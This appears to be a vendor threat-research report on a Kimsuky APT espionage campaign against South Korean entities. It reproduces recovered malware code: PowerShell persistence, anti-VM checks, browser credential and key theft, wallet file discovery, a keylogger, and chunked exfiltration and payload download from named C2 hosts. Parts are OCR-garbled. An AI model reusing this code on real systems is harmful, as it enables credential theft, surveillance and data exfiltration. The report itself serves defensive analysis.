Kimsuky Threat Research Report-2
© COPYRIGHT 2015-2025 ARYAKA NETWORKS, INC. ALL RIGHTS RESERVED.
Aryaka Threat Research Lab
From Reconnaissance
to Control
APT The Operational Blueprint of Kimsuky
for Cyber Espionage
Varadharajan Krishnasamy and Aditya K Sood
www.aryaka.com
From Reconnaissance to Control: The Operational Blueprint of Kimsuky APT for Cyber Espionage - Report 2
Ta
bl
e
of
C
on
te
nt
s
Executive Summary
Introduction
The Geopolitical Context of Cyber-Espionage
What is Kimsuky?
Dissecting the Technical Details
Deception via Lure Document
Verify the State of Deployed Endpoint Protection
One-Time Dynamic Execution
Anti-VM Check and Cleanup Routine
Persistence
Discovery and Data Staging Strategies
Victim Profiling
Harvesting Recent Files
Stealing Data Stored in the Browser
File Discovery from the system
Data Exfiltration Strategies
Dissecting the Exfiltration Mechanism
Exfiltrating Data Extracted Using Keylogging
Command and Control (C&C)
Command & Control File Retrieval
Payload Delivery
Remote Command Execution
Downloading Subsequent Payloads
Victimology and Attribution
Conclusion
How Unified SASE as a Service Helps Disrupt Kimsuky APT Campaigns
Appendices
Appendix A: Indicators of Compromise
Appendix B: Mapping MITRE ATT&CK® Matrix
03
04
04
05
06
07
09
12
13
13
14
14
15
16
17
18
18
20
22
22
22
23
23
28
28
29
30
30
30
Executive Summary
North Korean cyber-espionage continues to evolve with striking stealth and precision,
driven by Pyongyang’s long-standing need to gather geopolitical, military, and economic
intelligence. Kimsuky—also tracked as APT43, Thallium, and Velvet Chollima—has emerged
as a key operator in this space, systematically targeting South Korean government agencies,
defense contractors, and research organizations.
Aryaka Threat Research Labs has recently identified a cyber-espionage campaign targeting
South Korean entities specifically. The campaign employs malicious Windows shortcut (LNK)
files as an initial access vector. The actor behind this campaign has been attributed to
Kimsuky, a North Korean state-sponsored Advanced Persistent Threat (APT) group.
In this campaign, Kimsuky combines tailored social engineering with a sophisticated malware
framework engineered for stealth, persistence, and comprehensive data theft. The operation
begins with malicious Windows shortcut files that execute obfuscated scripts delivered
through trusted system utilities, using decoy documents based on publicly available South
Korean government materials to lure victims. Once inside, the malware performs extensive
system profiling, steals credentials and sensitive documents, monitors user activity through
keylogging and clipboard capture, and exfiltrates data in discreet segments over standard
web traffic—helping it blend into normal network operations. Figure 1 shows an overview of the
infection chain.
From Reconnaissance to Control: The Operational Blueprint of Kimsuky APT for Cyber Espionage - Report 3
Figure 1: Overview of the Infection Chain
VBscript
Contains
Executes
Executes
Executes
ExecutesStopped
Check
Status of
Lauches
Downloads
Downloads
Downloads
Not-
Stopped
Windows Defender
Main64.log
Net64.log
App64.log
ygbsbl.hopto.org/
service3/
Power Shell
Stealer1.log
2.log
Lure Document
1.ps1
1.VBS
sys.dll
Power Shell
Keylogger
LNK HTA
PDF
LOG
LOG
DLL
ZIP
LOG
LOG
LOG
HTA
VBS
1 2
3
4
5
6
7
8 9
10
11
12
13 14
From Reconnaissance to Control: The Operational Blueprint of Kimsuky APT for Cyber Espionage - Report 4
To maintain long-term access and evade detection, the malware establishes persistence,
enforces single-instance execution, and employs anti-virtualization checks to avoid
sandbox environments. Throughout its lifecycle, it maintains communication with its
command-and-control infrastructure to upload stolen data, download additional payloads,
and execute remote commands.
State-sponsored cyber campaigns have become a persistent risk for organizations operating
in politically sensitive or strategically valuable sectors. As traditional network perimeters erode,
attackers increasingly exploit legitimate tools and user trust to infiltrate environments and
gather intelligence with minimal detection.
This threat research report examines a recent operation linked to Kimsuky, a North Korean
APT group that exemplifies how modern cyber-espionage combines technical sophistication
with targeted social engineering. Focusing specifically on the PowerShell-based stages of
the attack, this paper breaks down the campaign’s infection chain, tactics, and ties to prior
Kimsuky activity, highlighting the strategic risks posed by advanced, state-sponsored threats.
It also underscores why a unified, identity-driven security approach—grounded in Zero Trust
and SASE principles, such as those in Aryaka’s Unified SASE platform—is critical for detecting
and disrupting such operations, closing gaps that traditional security models often overlook.
Introduction
Cyber attacks have become a primary tool of statecraft, enabling governments to gather
intelligence and exert pressure on rivals without resorting to open conflict. Unlike conventional
military or diplomatic actions, these campaigns operate below the threshold of war, offering
strategic gains with plausible deniability.
For nations under economic sanctions or facing technological gaps, cyber-espionage
is a highly effective means of accessing sensitive information related to politics, military,
and industry. It provides critical insights that shape foreign policy, defense strategies, and
economic priorities, objectives that are often too risky or costly to pursue through traditional
espionage.
Nowhere is this more evident than on the Korean Peninsula. Decades of tension have
driven North Korea to develop an advanced cyber capability as a core part of its strategy,
aimed at narrowing intelligence gaps and strengthening its global leverage. In this context,
cyber-espionage is not merely opportunistic but a deliberate extension of state policy, which
explains why sophisticated threats continue to evolve and focus on high-value targets.
The Geopolitical Context of Cyber-Espionage
Kimsuky is a North Korean advanced persistent threat (APT) group widely recognized for its
targeted cyber-espionage operations. Tracked under multiple designations—APT43, Thallium,
and Velvet Chollima—Kimsuky has been active since at least 2012, primarily focusing on entities
that align with Pyongyang’s strategic priorities.
While best known for its sustained campaigns against South Korean government agencies,
defense contractors, and policy think tanks, Kimsuky has also extended its reach to diplomatic
missions and organizations that influence regional security dynamics. The group’s operations
are typically designed to extract geopolitical, military, and technological intelligence that can
inform North Korea’s foreign policy and defense planning.
What distinguishes Kimsuky is its methodical approach: blending tailored social engineering
with modular malware frameworks, maintaining persistent access through obfuscation and
anti-analysis techniques, and adapting quickly to bypass evolving security defenses. This
combination of strategic targeting and technical agility has made Kimsuky one of the most
prominent and consistently active arms of North Korea’s cyber apparatus.
What is Kimsuky?
From Reconnaissance to Control: The Operational Blueprint of Kimsuky APT for Cyber Espionage - Report 5
https://malpedia.caad.fkie.fraunhofer.de/actor/kimsuky
From Reconnaissance to Control: The Operational Blueprint of Kimsuky APT for Cyber Espionage - Report 6
When executed, the .lnk file launches an HTA file hosted on a remote Content Delivery Network
(CDN) at
using the legitimate Windows utility mshta.exe. An HTA is an HTML application file that runs
HTML and script code (like JavaScript or VBScript) as a standalone application. Unlike regular
web pages, HTA files execute with full system privileges, granting direct access to the file
system and registry. This HTA file contains heavily obfuscated VBScript, which serves as the
primary execution vector. Each line of the script is constructed using a mix of decimal and
hexadecimal values to hide its actual functionality.
The obfuscation technique involves converting hexadecimal strings to decimal numbers using
the CLng function. These decimal values are then processed with arithmetic operations and
passed to the Chr function to convert them into readable characters. This method is designed
to bypass static detection and hinder analysis. Figure 2 shows how VBScript is forming a string
in WScript.Shell.
The script constructs all necessary strings—such as URLs for downloading payloads and lure
content—by de-obfuscating encoded values. It then constructs a complete URL structure
using these strings and initiates the download process on the victim’s machine.
Dissecting the Technical Details
“hxxps[:]//cdn.glitch.global/32745c25-95b3-4320-bd45-bc78ea11e6d2/sxzjl.hta?v=”
1
GH0bMg2LNajH1JSdZxopGVfscXUhn1tuWv+AyzxP263+iToVxfuDUicT8WkoJ/aHl7rkCGF2L5XNzbxHOBIpPC
Zwd6G3LqiSG/
zcwdAdLJ3hgcQb6FyToPrFmSN17lrxDE5/ymoKArfFlGeJad0aJSnGHqZoLGrw86RyG0Ze/
t274ChdvEpG+tZnrLFAoX1dT+Tm1xSXZOaVan5fDWdBKFYaaY9tuXf7IiDLbc7nI1+0r6KJkxAXz+GmRFYtKHLZ
BtULoii0V8fDjnet/
0euFci+HjSyHFFfhF5LFpi17Vk1gHMntmoh2m266ShkMA=
TVqQAAMAAAAEAAAA//8AALGAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAA+AAAAA4fug4AtAnNNIbgBTM0hVGhpcyBwem9ncmFtIGNhbm5vdCBiZSBydw4gaW4gRE9TIG1
vZGUuDQ0KJAAAAAAAAAAC+3XBRpobkkaaG5.)JGmhuSXQewkm2aG5.JdB7GSKpobkL0HhZIMmhuST+K
IkkuaG5JGmhqSxpobkL0HtJIDmhuSXQeAkkeaG5JdB4GSR5o0bkLOHhpJHmhuSUm1jaEaaG5TAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAABQRQAAZIYJALXGUGGAAAAAAAAAAPAATiALAgoAAPGAAAB8AAAAA
AAAjDFgAAAQAAAAAACAAQAAAAAQAAAAAGAABQACAAAAAAAFAATAAAAAAABQYAAABAAA2HACAATA
QAAAABAAAAAAAAAQAAAAAAAAAAAQAAAAAAAAEAAAAAAAAAAAAAAQAAAATIBNAETAAABKgGE0AZ
ATAAADQAQCO0AQAAYIpNAHgPAAAAAAAAAAAAAACATQAMAAAAAAAAAAAAAAEEEEEEEEEEEEEEEEEEEEE
EEEEEEYEEEEELYEEPPYYPPPPPPVPPPVVAVSLOLAVAVaf)AAATWAAAAEAAAAAAAAAAAAAAAAAABAAADGA
AAAAAAAAAAAUAAAABABAAAYAAAAKAAAAAAAAAAAAAAAAAAAQAAA4AAAAAAAAAAAAEAAAABGAQ
AABAAAAKGAAAAAAAAAAAAAAAAAAEAAAOAAAAAAAAAAAAAQAAAAOAEAAAOAAACSAAAAAAAAAA
AAAAAAAABAAADGAAAAAAAAAAAAEAAAALABAAACAAAAtGAAAAAAAAAAAAAAAAAAQAAA4AAAAAA
AAAAAABAAAADAAQAABAAAALGAAAAAAAAAAAAAAAAAAEAAAQAUCMNyYWAAAAAQAAAAGAEAAATA
AAC8AAAAAAAAAAAAAAAAAABAAADQAAAAAAAAAAAAOESAADABAAC+AWAAVGAAAAAAAAAAAAAA
AAAAQAAA4AAAAAAAAAAAANASAACATQAAVBIAAHWEAAAAAAAAAAAAAAAAAEAAADAAAAAAA
Figure 6: Malicious HTA File
Figure 7: RC4 Decryption of User.txt File
Main64.log - Establishes persistence through the Windows Run registry and executes
“sys.dll “ using rundll32. It collects detailed system and user information, performs deep
file searches for sensitive data, including documents and crypto wallets, and monitors
user activity through keylogging and shortcut collection. All gathered data is structured
and exfiltrated using HTTP POST requests disguised as regular web traffic. The
communication is directed to a hardcoded command-and-control server at
hvmeyq.viewdns.net.
From Reconnaissance to Control: The Operational Blueprint of Kimsuky APT for Cyber Espionage - Report 11
This VBScript performs a multi-step extraction and decoding operation. It begins by using
findstr to search for lines that start with the string GH0bMg2L within the file v3.hta, which is
located in the user's %TEMP% directory. The matching lines are saved to a file named 2.log in
the %LOCALAPPDATA%. Next, the script uses certutil to decode the Base64-encoded contents
of 2.log into a new file named user.txt, which is also stored in the same directory. Finally, the
temporary 2.log file is deleted, completing the decoding process.
It then changes the working directory to C:\Users\user\AppData\Local and uses findstr to extract
lines starting with the string TVqQAAMAAA from the file v3.hta located in the Temp folder, writing
the output to a file named 1.log. Next, it uses PowerShell to read the contents of 1.log, decode it
from Base64, and write the binary data to a file named sys.dll. After decoding, it deletes 1.log and
executes the newly created sys.dll using rundll32 with the exported function “a”.
Upon execution, the sys.dll file loads the RC4-encrypted user.txt file, decrypts it, and then
downloads three additional encrypted files from the CDN server, which are subsequently
decrypted and executed. Figure 7 shows the RC4 decryption of the User.txt file using
CyberChef.
From Reconnaissance to Control: The Operational Blueprint of Kimsuky APT for Cyber Espionage - Report 12
Net64.log - This malware is designed to steal credentials and configuration data from
email clients, browsers, and FTP software. It extracts stored usernames, passwords, and
account details from files like logins.json, signons.sqlite, and various account-related
registry entries. The malware targets multiple applications, including Outlook,
Thunderbird, Firefox, Chrome, Opera, and FileZilla. It systematically scans user directories
and profile paths to locate sensitive information. All collected data is prepared for
exfiltration, enabling unauthorized access to victim accounts.
App64.log - The file functions as a reflective loader that steals the
app_bound_encrypted_key from the victim’s machine.
When the defender is stopped, the PowerShell script 1.log stores the Process ID (PID) of the
currently running PowerShell instance, which is executing the 1.ps1 script, into a file named
pid.txt. This file is saved inside a uniquely named folder, which is generated based on the
system's UUID and located in the %TEMP% directory. Before storing the new PID, the script
checks if pid.txt already exists. If it does, the script reads the existing PID from the file and
verifies whether a PowerShell process with that ID is still running. If such a process exists, the
script exits immediately, preventing a second instance from running. If the process does not
exist, the script deletes the stale pid.txt file and writes the current PID to it. This mechanism
ensures that only one instance of the malicious script runs at any given time on the infected
system. Figure 8 shows the PowerShell code responsible for One-Time execution.
One-Time Dynamic Execution
$id = (Get-wmi0bject -Class Win32_ComputerSystemProduct) .UUID
$tempPath = $env: TEMP
New-Item —Path "$tempPath\$id" -ItemType Directory -Force
$storePath = "$tempPath\$id"
$serverurl = "http://ygbsbl.hopto.org/service3/"
$localPath = $env:LOCALAPPDATA
$pidFile = "$tempPath\pid.txt"
if (Test-Path $pidFile) {
$previousPid = Get-Content $pidFile
try {
$processExists = Get-Process -Id $previousPid -ErrorAction Stop
exit
}
catch {
Remove-Item $pidFile
}
}
Set-Content $pidFile $PID
Figure 8: PowerShell Script Checking the PID
From Reconnaissance to Control: The Operational Blueprint of Kimsuky APT for Cyber Espionage - Report 13
This script then checks if it's running in a virtual environment by examining the system
manufacturer using the Win32_ComputerSystem class. If it detects that the system is
running on VMware, Microsoft, or VirtualBox, it triggers the KillMe() function as shown in
Figure 9. This function deletes previously created files — specifically 1.ps1, 1.log, 2.log, and
1.vbs — from the pipe directory located under the local application data path. After cleaning
up these artifacts, the script terminates. This behaviour is a typical anti-analysis measure
used to avoid detection or reverse engineering in virtualized or sandboxed setups.
Anti-VM Check and Cleanup Routine
The script calls the RegisterTask() function, which sets up persistence by creating a new
registry entry under HKCU\Software\Microsoft\Windows\CurrentVersion\Run with the name
WindowsSecurityCheck as shown in Figure 10. This ensures that the VBScript located at
\pipe\1.vbs inside the %LocalAppData% directory is automatically executed every time the
user logs in to Windows.
Persistence
function KillMe {
Remove-Item -Path "$localPath\pipe\2. log" -Force
Remove-Item -Path "$localPath\pipe\1.ps1" -Force
Remove-Item -Path "$localPath\pipe\1.log" -Force
Remove-Item -Path "$localPath\pipe\1.vbs" -Force
Exit
}
$computerSystem = Get-CimInstance —ClassName Win32_ComputerSystem
if ($computerSystem.Manufacturer -match "VMware" -or $computerSystem.Manufacturer -match
"Microsoft" -or $computerSystem.Manufacturer -match "VirtualBox") {
KillMe
}
function RegisterTask {
#$execpath = "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile
-File $localPath\pipe\1.ps1
—FileName $localPath\pipe\1. log"
$execpath = "$localPath\pipe\1.vbs"
New-ItemProperty -Path "HKCU: \Software\Microsoft\Windows\CurrentVersion\Run"
-Name "WindowsSecurityCheck” -Value
$execpath -PropertyType String -Force
}
Figure 10: Persistence
Figure 9: Anti VM Check
From Reconnaissance to Control: The Operational Blueprint of Kimsuky APT for Cyber Espionage - Report 14
In this section, we examine how the malware systematically prepares data for theft through
a series of targeted staging activities. These functions collect extensive system and user
information, identify high-value files, and extract sensitive browser data, all of which are
organized within structured directories under the %TEMP% environment variable. By cataloging
certificates, recent documents, and encryption keys, the malware builds a comprehensive
snapshot of the victim environment. This preparation ensures that only the most relevant data
is prioritized for exfiltration.
Discovery and Data Staging Strategies
The Init() function collects detailed system profiling data from the victim’s machine and
stores it in an info.txt file located in a UUID-named folder inside the %TEMP% directory. It
first compresses certificate directories (NPKI, GPKI) if present, indicating a focus on South
Korean users (Refer to Figure 11). The function logs whether the process has admin rights,
UAC settings, OS and CPU details, disk and volume data, network adapter configuration, and
running processes. It also includes a list of installed programs from both 32-bit and 64-bit
registry paths. If signs of virtualization are detected, the function terminates execution using
KillMe(), deleting the associated payload files.
Victim Profiling
function Init {
$outputFile = "$tempPath\$id\info.txt”
if (Test-Path $outputFile) {
Remove-Item $outputFile
}
$localLowPath = [System.I0.Path] : :Combine($env:USERPROFILE, “AppData\LocalLow\NPKI")
if (Test-Path $localLowPath) {
Compress-Archive -Path $localLowPath -DestinationPath "$storePath\NPKI.zip" -Force
}
$localLowPath = "C:\GPKI"
if (Test-Path $localLowPath) {
Compress-Archive -Path $localLowPath -DestinationPath "$storePath\GPKI.zip" -Force
}
$systemInfo = "System Information - $(Get-Date)"
$adminCheck = New-Object Security.Principal.windowsPrincipal( [Security.Principal.WindowsIdentity]
::GetCurrent())
$isAdmin = $adminCheck. IsInRole( [Security. Principal.WindowsBuiltInRole] ::Administrator)
if ($isAdmin) {
$systemInfo += "r’nPrivilege: High’ r‘n"
} else {
$systemInfo += "’r'nPrivilege: Medium ‘r’n"
}
$uacSetting = Get-ItemProperty —Path “HKLM: \SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
$systemInfo +=("ConsentPromptBehaviorAdmin: " + $uacSetting.ConsentPromptBehaviorAdmin)
$systemInfo = "OS:$(Get-WmiObject -Class win32_OperaitingSystem | Out-String)"
$computerInfo += "CPU:$(Get-Wmidbject -Class Win32 Processor | Out-String)"
Figure 11: Victim Profiling
From Reconnaissance to Control: The Operational Blueprint of Kimsuky APT for Cyber Espionage - Report 15
The RecentFiles() function collects paths of recently accessed files by parsing .lnk shortcuts
from
and writes the resolved target paths into recent.txt, which is saved in the $storePath directory
located inside %TEMP%\ as shown in Figure 12.
%APPDATA%\Microsoft\Windows\Recent
Harvesting Recent Files
function RecentFiles {
$recentFolder = [System.I0.Path] ::Combine($env:APPDATA, 'Microsoft\Windows\Recent ')
$recentFiles = Get-ChildItem -Path $recentFolder -Filter *. lnk
$outputFile = "$storePath\recent. txt"
$recentFiles | ForEach-Object {
$targetPath = Get-ShortcutTargetPath -shortcutPath $_.FullName
$targetPath | Out-File -FilePath $outputFile —Append
}
}
Figure 12: Stealing Recent Files Details
From Reconnaissance to Control: The Operational Blueprint of Kimsuky APT for Cyber Espionage - Report 16
The GetBrowserData() function collects sensitive user data from popular web browsers—Edge,
Chrome, Naver Whale, and Firefox—by extracting key browser files like login credentials (Login
Data), bookmarks, cookies, and encryption keys. For each browser, it searches the default and
profile directories under %LOCALAPPDATA% or %APPDATA%, depending on the browser. It saves
the extracted files into the $storePath directory, which is a UUID-named folder located in the
%TEMP% directory. The script also attempts to extract and decrypt the encrypted_key used
by Chromium-based browsers, saving them as *_masterkey files. Additionally, it lists installed
browser extensions and stores them in extensions.txt within the same folder, as shown in Figure
13. This comprehensive data theft includes both live browser data and associated encryption
material, facilitating offline credential decryption.
Stealing Data Stored in the Browser
function GetBrowserData{
$extensionpath = “$storePath\extensions. txt”
#Edge
try{
$jsonContent = Get-Content -Path "$localPath\Microsoft\Edge\User Data\Local State" —Raw
$jsonObject = $jsonContent | ConvertFrom-Json
Unprotect-Data -encryptedData $jsonObject.os_crypt.encrypted_key -filePath
“$storePath\edge_masterkey”
$edgeProcess = Get-Process -Name "msedge” -ErrorAction SilentlyContinue
# Stop-Process -Name taskhostw -Force -ErrorAction SilentlyContinue
if($edgeProcess){
# Stop-Process -Name msedge -Force -ErrorAction SilentlyContinue
# Start-Sleep -Seconds 1
}
$UserDataPath = [System. I0. Path] ::Combine($env:LOCALAPPDATA, "Microsoft\Edge\User Data")
$profileDirs = Get-ChildItem -Path $UserDataPath -Directory | Where-Object { $_.Name -match ‘̂ Profile
\d+$’
-or $_.Name -eq ‘Default’ }
foreach ($profileDir in $profileDirs) {
$profilePath = [System.I0.Path] ::Combine($UserDataPath, $profileDir.Name)
if (Test-Path $ProfilePath) {
# $destpath = “$storePath\Edge_” + S$profileDir.Name + "_Cookies”
# Copy-Item -Path "$profilePath\Network\Cookies” -Destination $destpath -ErrorAction SilentlyContinue
$destpath = “$storePath\Edge_" + $profileDir.Name + “_LoginData”
Copy-Item -Path "$profilePath\Login Data” -Destinaticn $destpath -ErrorAction SilentlyContinue
$destpath = “$storePath\Edge_" + $profileDir.Name + “_Bookmark”
Copy-Item -Path “$profilePath\Bookmarks” -Destination $destpath -ErrorAction SilentlyContinue
# $destpath = "$storePath\Edge_" + $profileDir.Name + “_WebData”
# Copy-Item -Path “$profilePath\web Data” -Destination $destpath -ErrorAction SilentlyContinue
GetExWFile “Edge” $profilePath $profileDir.Name
"'r' nEdge'r'n" | Out-File -FilePath $extensionpath -Append
$subFolders = Get-ChildItem -Path "$profilePath\Extensions” -Directory
$subFolders | Select-Object -ExpandProperty Name | Out-File -FilePath $extensionpath -Append
}
}
if($edgeProcess) {
# Start-Process “msedge.exe"
}
Figure 13: GetBrowserData() Function
From Reconnaissance to Control: The Operational Blueprint of Kimsuky APT for Cyber Espionage - Report 17
The CreateFileList() function performs a thorough scan of all filesystem drives—prioritizing the
C:\Users directory—to locate documents, images, archives, and other potentially sensitive file
types. It filters files based on a predefined set of extensions and also searches for filenames
associated with cryptocurrency wallets and credential-related terms (Refer to Figure 14). The
full paths of these identified files are compiled into a file named FileList.txt, which is saved
within a UUID-named folder in the %TEMP% directory. This enables the attacker to catalog
potentially valuable files for targeted exfiltration at a later stage.
File Discovery from the system
function CreateFileList {
$listpath = "$storePath\FileList.txt”
Remove-Item -Path $listpath -ErrorAction SilentlyContinue
$drives = Get-PSDrive -PSProvider FileSystem
foreach ($drive in $drives) {
if (Sdrive.Name -eq 'C') {
$searchPath = Join-Path -Path $drive.Root -ChildPath ‘Users'
} else {
$searchPath = $drive.Root
}
$extensions = “*.txt", "*.doc", "*.csv", "*.doc", “*.docx”, "*.xls", “*.xlsx", “*.pdf", ‘*.hwp", "*. hwpx",
“*.jpg", "*.jpeg", "*.png", "*.rar", “*.zip”, "*.alz", “*.eml", “*.ldb", ‘*.log"
Get-ChildItem -Path $searchPath -Recurse -File -Force -Include $extensions -ErrorAction
SilentlyContinue | Out-File -FilePath $listpath -Append
$namePatterns = “wallet
|UTC--|blockchain|keystore|privatekey|coin|metamask|phrase|ledger|password|myether"
Get-ChildItem -Path $searchPath -Recurse -Force -ErrorAction SilentlyContinue | Where-Object {
$_.Name -match $namePatterns
} | Out-File -FilePath $listpath -Append
}
}
Figure 14: Stealing File Details
From Reconnaissance to Control: The Operational Blueprint of Kimsuky APT for Cyber Espionage - Report 18
Figure 15: UploadFile() Function
In this stage, the malware shifts from data staging to active theft, executing a controlled
exfiltration process designed to evade detection and ensure the reliable transfer of stolen
information. By compressing and chunking its payload, the malware minimizes the risk of
triggering network security controls that monitor for large, anomalous uploads.
Data Exfiltration Strategies
The Send() function compresses all collected data stored in the UUID-named $storePath
folder into a ZIP file named init.zip, renames it to init.dat, and exfiltrates it using the UploadFile()
function. UploadFile() is responsible for sending files to the attacker's server by breaking them
into 1MB chunks. Each chunk is sent via HTTP POST using MultipartFormDataContent, ensuring
large files are reliably transmitted. The function adds randomness to filenames unless explicitly
told to retain the original name using the "same" tag. After a successful upload, the original ZIP
and local data are deleted to cover tracks. This ensures stealthy and complete exfiltration of
stolen data. Figure 15 shows the UploadFile() function.
Dissecting the Exfiltration Mechanism
function UploadFile {
Param (
[Parameter (Position=0,Mandatory=$True)] [String] $uploadUrl,
[Parameter (Position=1,Mandatory=$True)] [String] $filePath,
[Parameter (Position=2)] [String] $tagstr =""
)
Add-Type -AssemblyName "System.Net.Http"
$client = New-Object System.Net .Http.HttpClient
$uploadUrl2 = $uploadUrl + "&ap=1"
try {
$fileStream = (System.I0.File] ::OpenRead($filePath)
try {
$chunkSizeBytes = 1MB
$buffer =New-Object byte [ ] $chunkSizeBytes
$chunkIndex = 0
$randomNumber = Get-Random -Minimum 1000 -Maximus 9999
if(Stagstr -eq "same") {
$fileName = (System. I0. Path]: :GetFileName($filePath)
}
elseif ($tagstr -ne "") {
$fileName = $tagstr + "_" + [System.I0.Path]::GetFileName($filePath) + “_$randomNumber”
}
else {
$fileName = (System. I0. Path]: :GetFileName($filePath) + "_$randomNumber”
}
while (($bytesRead = $fileStream.Read($buffer, 0, $chunkSizeBytes)) -gt 0) {
$multipartContent = New-Object System.Net.Http.MultipartFormDataContent
$fileContent = New-Object System.Net Http.StreamContent ( [System.I0.MemoryStream] : :new( $buffer[0..($bytesRead - 1)]))
$fileContent = Headers.ContentType = [System.Net.Http.Header.MediaTypeHeaderValue]::new("application/octet-stream")
$multipartContent.Add($fileContent, "file1", $fileName)
if ($chunkIndex -gt 0) {
$response = $client.PostAsync($uploadUrl2, $multipartContent).Result
} else {
$response = $client.PostAsync($uploadUrl, $multipartContent).Result
}
From Reconnaissance to Control: The Operational Blueprint of Kimsuky APT for Cyber Espionage - Report 19
Figure 16 illustrates the initial POST request used to exfiltrate a 1MB chunk of the zip file named
init.dat to the remote server.
Subsequent chunks of the zip file are transmitted by appending the string &ap1= to the original
POST URL, indicating the continuation of the file upload to the remote server, as depicted in the
figure 17.
Figure 16: Initial POST Request
Figure 17: POST Request Using “&ap=1” Tag
From Reconnaissance to Control: The Operational Blueprint of Kimsuky APT for Cyber Espionage - Report 20
The script then starts a new PowerShell process to execute 1.ps1, which is located in the pipe
directory under $localPath. It provides the base64-encoded file 2.log as an argument to the
script using the -FileName parameter.
Once executed, the decoded 2.log file acts as a keylogger, creating a folder under the system’s
temporary directory, named using the system's UUID. It logs all captured data to a file called
k.log within this directory. Running in an infinite loop, the script utilizes Windows API functions,
such as GetAsyncKeyState(), to capture keystrokes every 50 milliseconds, monitors clipboard
changes, and logs active window titles using GetForegroundWindow() and GetWindowText()
as shown in Figure 18. Special keys, such as Enter, Tab, and Function keys, are translated into
readable tags to enhance log clarity and readability. All collected data is stored in raw format
for potential exfiltration.
Exfiltrating Data Extracted Using Keylogging
Figure 18: Keylogger
#####
function Keylog {
$id = (Get-wmi0bject -Class Win32_ComputerSystemProduct).UUID
$tempPath = $env:Temp
$storePath = "$tempPath\$id"
$logPath = “$storePath\k. log”
$key =""
$clipb = ""
$oldclipb = ""
$oldwintitle = ""
$wintitle = ""
if ((Test-Path $logPath) -eq $false) {New-Item $logPath -Force}
$signatures = @'
[DllImport ("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true) ]
public static extern short GetAsyncKeyState(int virtualkeyCode);
[DllImport ("user32.dll", CharSet=CharSet.Auto) ]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport ("user32.dll", CharSet=CharSet.Auto) ]
public static extern int MapVirtualKey(uint uCode, int wMapType);
[DllImport ("user32.dll", CharSet=CharSet.Auto) ]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[) Ipkeystate,
System.Text.StringBuilder
pwszBuff, int cchBuff, uint wFlags);
[DllImport ("user32.dll") ]
public static extern IntPtr GetForegroundwindow();
[DllImport("user32.d1l", SetLastError = true)]
public static extern int GetWindowText(IntPtr hwnd, System.Text.StringBuilder text, int count);
‘@
From Reconnaissance to Control: The Operational Blueprint of Kimsuky APT for Cyber Espionage - Report 21
The Work() function in the PowerShell script is the core operational loop of a stealthy malware
implant that continuously communicates with its command-and-control (C2) server. Designed
to run indefinitely, this function wakes up every 10 minutes to perform a series of tasks enabling
data exfiltration, remote command execution, and dynamic payload deployment. As part
of this cycle, it checks for the presence of a keylogger log file k.log, stored locally. If found, it
constructs a C2 URL with the victim’s unique ID and an upload flag, then sends the file using the
UploadFile() function as shown in Figure 19.
Figure 19 - Keylogger Exfiltration
From Reconnaissance to Control: The Operational Blueprint of Kimsuky APT for Cyber Espionage - Report 22
Finally, the malware enters a command-and-control loop that enables dynamic interaction
with the C2 server. It performs three core operations:
Command and Control (C&C)
The script issues a GET request to the /rd endpoint (Refer to Figure 20), asking the server
whether any files need to be exfiltrated. If the server responds with a list of file paths, the
malware uploads those files to the C2 server.
Command & Control File Retrieval
Figure 20 - File Upload Request to the Server
Next, a GET request is made to the /wr endpoint, where the server replies with a list of files to
be downloaded. The malware retrieves each file using HTTP GET requests and saves it to the
local system. Figure 21 shows the GET request to the /wr endpoint.
Payload Delivery
Figure 21 - File Download Request to Server
From Reconnaissance to Control: The Operational Blueprint of Kimsuky APT for Cyber Espionage - Report 23
Finally, the script performs a GET request to the /cm endpoint (Refer to Figure 22) to check if any
PowerShell commands are queued for execution. If the server responds with a command, the
malware runs it immediately using Invoke-Expression, granting the attacker live control.
Remote Command Execution
After exfiltration, the malware fetches and processes an appkey payload from its
command-and-control (C2) server. Every time it's executed, the malware constructs a
URL using the infected machine’s unique ID and sends a GET request to retrieve an appkey
instruction. Suppose the server returns content, indicating that an appkey payload is
available. In that case, the script immediately calls the GetAppKey() function to download,
decode, and execute the malicious payload, as shown in Figure 23.
Downloading Subsequent Payloads
Figure 22 - Command Execution
Figure 23 - Retrieving appkey
From Reconnaissance to Control: The Operational Blueprint of Kimsuky APT for Cyber Espionage - Report 24
During our testing, although we didn’t receive a response from the command-and-control
(C2) server for the appkey request, we were still able to retrieve the payloads downloaded
by the GetAppKey() function. After successfully processing the instruction, it sends another
request to the C2 server to delete the appkey command (del=appkey), which helps prevent
re-processing and keeps the C2 channel clean. Whether the operation succeeds or fails, the
script ensures the web client is disposed of correctly to maintain system stability and avoid
leaving forensic traces, as shown in Figure 24.
function Work {
while($true) {
Start-Sleep -Seconds 600
$url = $serverurl + "?id=$id&ap=1"
$filepath = "$storePath\k.log"
UploadFile $url $filepath "same"
Remove-Item -Path $filepath -ErrorAction SilentlyContinue
# Get Appkey
try{
$webClient = New-Object System.Net.WebClient
$url = $serverurl + "$id/appkey"
$content = $webClient.DownloadString($url)
if($content -ne '"") {
GetAppKey
}
$url = $serverurl + "?id=$id&del=appkey"
Invoke-WebRequest -Uri $url -Method Get
} catch {
$content = ""
} finally{
$webClient.Dispose()
}
Figure 24 - Work() Function
From Reconnaissance to Control: The Operational Blueprint of Kimsuky APT for Cyber Espionage - Report 25
The GetAppKey() function in this campaign is responsible for delivering and executing a
secondary malware payload. It begins by generating a random value to bypass CDN caching
and downloads two files: appload.log, a Base64-encoded executable, and app64.log, an
encrypted payload saved locally as nzvwan.log. After decoding appload.log into app64.exe,
the malware executes it as a custom loader as shown in Figure 25.
function GetAppKey {
$randomNumber = Get-Random
$loader = “https://cdn.glitch.global/b33b49c5-5e3d-4a33-b66b-c719b917fa62/appload.log?v=" +
$randomNumber
$d1l = “https://cdn.glitch.global/b33b49c5-5e3d-4a33-b66b-c719b917fa62/appload.log?v=" +
$randomNumber
DownloadFile $loader "$tempPath\appload.log"
$base64String = Get-Content "$tempPath\appload.log" -Raw
